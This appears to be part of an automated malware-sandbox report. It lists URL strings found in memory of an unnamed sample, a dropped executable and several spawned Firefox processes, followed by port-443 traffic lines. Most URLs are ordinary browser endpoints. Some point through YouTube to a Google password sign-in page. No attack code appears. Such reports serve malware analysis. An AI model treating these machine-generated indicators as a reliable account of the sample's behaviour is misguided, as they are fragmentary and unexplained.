Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d39
Source: firefox.exe, 0000001A.00000002.2758063479.00000295E1B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000002F.00000003.2874139972.000001B2AC26C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000002F.00000003.2938497653.000001B2B35CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2941785370.000001B2B36A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/Trying
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0DDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2746482505.000000C46797C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2962807443.00000001084FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000002F.00000003.2944012113.000001B2B4F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1745063336.0000000005334000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2494825154.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/intervention-update-restart-confirmresource:///modules/UrlbarPre
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/DL
Source: file.exe, 00000000.00000003.1745063336.0000000005334000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2494825154.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.2746482505.000000C46797C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2962807443.00000001084FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2740896048.000000C46067B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751799520.00000295E04B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000021.00000002.2742540582.0000015C078E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000001C.00000002.2744438252.00000206DF2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sigg
Source: firefox.exe, 0000002E.00000002.2847308036.000002241F2C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2973321640.000001B29B840000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2622988905.000002C5E2219000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2635273207.0000020F22B30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2748959786.00000295D49D9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.2847308036.000002241F2C7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2973321640.000001B29B840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2764268499.00000295E22BF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68A9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68D6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743871919.00000206DEFC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744438252.00000206DF2A4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2741251870.0000015C07600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2742540582.0000015C078E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000021.00000002.2741251870.0000015C0760A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdN
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdT.
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 00000021.00000002.2741251870.0000015C07600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdZ
Source: firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdc
Source: firefox.exe, 0000001A.00000002.2748959786.00000295D49D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdg
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdv
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountgWindowsWithUnloadHandler.panel-header
Source: firefox.exe, 0000001A.00000002.2807761956.000011E17DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
